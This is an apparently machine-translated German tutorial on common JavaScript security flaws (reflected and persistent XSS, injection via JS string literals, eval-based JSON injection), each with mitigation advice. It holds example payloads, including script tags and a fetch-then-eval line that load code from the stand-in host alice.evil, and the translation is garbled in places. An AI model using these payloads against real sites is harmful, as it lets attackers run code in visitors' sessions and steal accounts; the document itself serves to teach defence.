Suche…
Einführung
Dies ist eine Sammlung allgemeiner JavaScript-Sicherheitsprobleme wie XSS und Eval-Injection. Diese Sammlung enthält auch Informationen zur Behebung dieser Sicherheitsprobleme.
Reflektiertes Cross-Site-Scripting (XSS)
Nehmen wir an, Joe besitzt eine Website, auf der Sie sich anmelden, Welpenvideos ansehen und in Ihrem Konto speichern können.
Immer wenn ein Benutzer auf dieser Website sucht, wird er zu https://example.com/search?q=brown+puppies
.
Wenn die Suche eines Benutzers mit nichts übereinstimmt, wird eine Nachricht wie folgt angezeigt:
Ihre Suche ( braune Welpen ) stimmte mit nichts überein. Versuchen Sie es nochmal.
Im Backend wird diese Nachricht folgendermaßen angezeigt:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}
Wenn Alice jedoch nach <h1>headings</h1>
sucht, erhält sie Folgendes zurück:
Deine Suche (
Überschriften
) stimmte mit nichts überein. Versuchen Sie es nochmal.
Rohes HTML:
Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.
Dann sucht Alice nach <script>alert(1)</script>
und sieht:
Ihre Suche () stimmt mit nichts überein. Versuchen Sie es nochmal.
Und:
<script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
sucht Alice nach <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
und kopiert den Link in ihre Adressleiste. <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies
sie Bob:
Bob,
Wenn ich nach niedlichen Welpen suche, passiert nichts!
Dann bringt Alice erfolgreich dazu, dass Bob ihr Skript ausführt, während Bob bei seinem Konto angemeldet ist.
Mitigation:
- Entfernen Sie alle spitzen Klammern bei der Suche, bevor Sie den Suchbegriff zurückgeben, wenn keine Ergebnisse gefunden werden.
- Geben Sie den Suchbegriff nicht zurück, wenn keine Ergebnisse gefunden werden.
- Fügen Sie eine Inhaltssicherheitsrichtlinie hinzu , die das Laden aktiver Inhalte aus anderen Domänen nicht zulässt
Persistentes Cross-Site-Scripting (XSS)
Angenommen, Bob besitzt eine soziale Website, auf der Benutzer ihre Profile personalisieren können.
Alice geht auf Bobs Website, erstellt ein Konto und wechselt zu ihren Profileinstellungen. Sie setzt ihre Profilbeschreibung auf I'm actually too lazy to write something here.
Wenn ihre Freunde ihr Profil anzeigen, wird dieser Code auf dem Server ausgeführt:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
Ergebnis in diesem HTML:
<div>I'm actually too lazy to write something here.</div>
Dann setzt Alice ihre Profilbeschreibung auf <b>I like HTML</b>
. Wenn sie ihr Profil besucht, anstatt zu sehen
<b> Ich mag HTML </ b>
Sie sieht
Ich mag HTML
Dann setzt Alice ihr Profil auf
<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.
Immer wenn jemand ihr Profil besucht, wird Alice das Skript auf Bobs Website ausgeführt, während sie als ihr Konto angemeldet ist.
Mitigation
- Fluchtwinkel in Profilbeschreibungen usw.
- Speichern Sie Profilbeschreibungen in einer einfachen Textdatei, die dann mit einem Skript abgerufen wird, das die Beschreibung über
.innerText
- Fügen Sie eine Inhaltssicherheitsrichtlinie hinzu , die das Laden aktiver Inhalte aus anderen Domänen nicht zulässt
Persistent Cross-Site-Scripting aus JavaScript-String-Literalen
Angenommen, Bob besitzt eine Website, auf der Sie öffentliche Nachrichten veröffentlichen können.
Die Nachrichten werden von einem Skript geladen, das wie folgt aussieht:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
Die Funktion addMessage
fügt dem DOM eine veröffentlichte Nachricht hinzu. In dem Bestreben, XSS zu vermeiden, wird jedoch HTML in gesendeten Nachrichten mit Escapezeichen versehen.
Das Skript wird auf dem Server folgendermaßen generiert:
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
Also postet alice eine Nachricht, die besagt: My mom said: "Life is good. Pie makes it better. "
Wenn sie die Nachricht in der Vorschau anzeigt, wird in der Konsole ein Fehler angezeigt:
Uncaught SyntaxError: missing ) after argument list
Warum? Weil das generierte Skript so aussieht:
addMessage("My mom said: "Life is good. Pie makes it better. "");
Das ist ein Syntaxfehler. Als Alice Beiträge:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
Das erzeugte Skript sieht dann so aus:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
Das fügt die Nachricht hinzu, die I like pie
, aber es lädt auch herunter und führt https://alice.evil/js_xss.js
wenn jemand Bobs Website besucht.
Mitigation:
- Übergeben Sie die Nachricht in JSON.stringify ().
- Erstellen Sie eine dynamische Textdatei, die alle Nachrichten enthält, die später vom Skript abgerufen werden
- Fügen Sie eine Inhaltssicherheitsrichtlinie hinzu , die das Laden aktiver Inhalte aus anderen Domänen nicht zulässt
Warum Skripte von anderen Personen Ihrer Website und ihren Besuchern schaden können
Wenn Sie nicht der Meinung sind, dass bösartige Skripts Ihre Website schädigen können, liegen Sie falsch . Hier ist eine Liste der möglichen schädlichen Skripts:
- Entfernen Sie sich aus dem DOM, damit es nicht verfolgt werden kann
- Stehlen Sie die Sitzungscookies der Benutzer und ermöglichen Sie dem Skriptautor, sich als Benutzer anzumelden und ihn auszugeben
- Eine Fälschung anzeigen "Ihre Sitzung ist abgelaufen. Bitte melden Sie sich erneut an." Nachricht, die das Kennwort des Benutzers an den Skriptautor sendet .
- Registrieren Sie einen Angreifer, der bei jedem Seitenaufruf auf dieser Website ein schädliches Skript ausführt.
- Setzen Sie eine gefälschte Paywall ein, die verlangt, dass Benutzer Geld für den Zugriff auf die Website zahlen , die tatsächlich an den Skriptautor geht .
Bitte denken Sie nicht, dass XSS Ihrer Website und ihren Besuchern keinen Schaden zufügt.
Evaluierte JSON-Injektion
Nehmen wir an, dass bei jedem Besuch einer Profilseite auf Bobs Website die folgende URL abgerufen wird:
https://example.com/api/users/1234/profiledata.json
Mit einer Antwort wie dieser:
{
"name": "Bob",
"description": "Likes pie & security holes."
}
Dann werden diese Daten analysiert und eingefügt:
var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;
Scheint gut, richtig? Falsch.
Was ist, wenn die Beschreibung von jemandem " Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
mir Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
? Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS.
{
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
Und dies wird eval
:
({
"name": "Alice",
"description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
Wenn Sie nicht glauben, dass dies ein Problem ist, fügen Sie das in Ihre Konsole ein und sehen Sie, was passiert.
Mitagation
Verwenden Sie JSON.parse anstelle von eval, um JSON zu erhalten. Verwenden Sie eval im Allgemeinen nicht und verwenden Sie eval keinesfalls mit etwas, das ein Benutzer steuern kann. Eval erstellt einen neuen Ausführungskontext , wodurch ein Leistungstreffer entsteht .
Richten Sie
"
und\
in den Benutzerdaten ordnungsgemäß ein, bevor Sie sie in JSON einfügen. Wenn Sie das"
nur mit Escapezeichen versehen, geschieht Folgendes:Hello! \"});alert(1);({
Wird umgewandelt in:
"Hello! \\"});alert(1);({"
Hoppla. Denken Sie daran, sowohl das
\
als auch das"
deaktivieren, oder verwenden Sie einfach JSON.parse.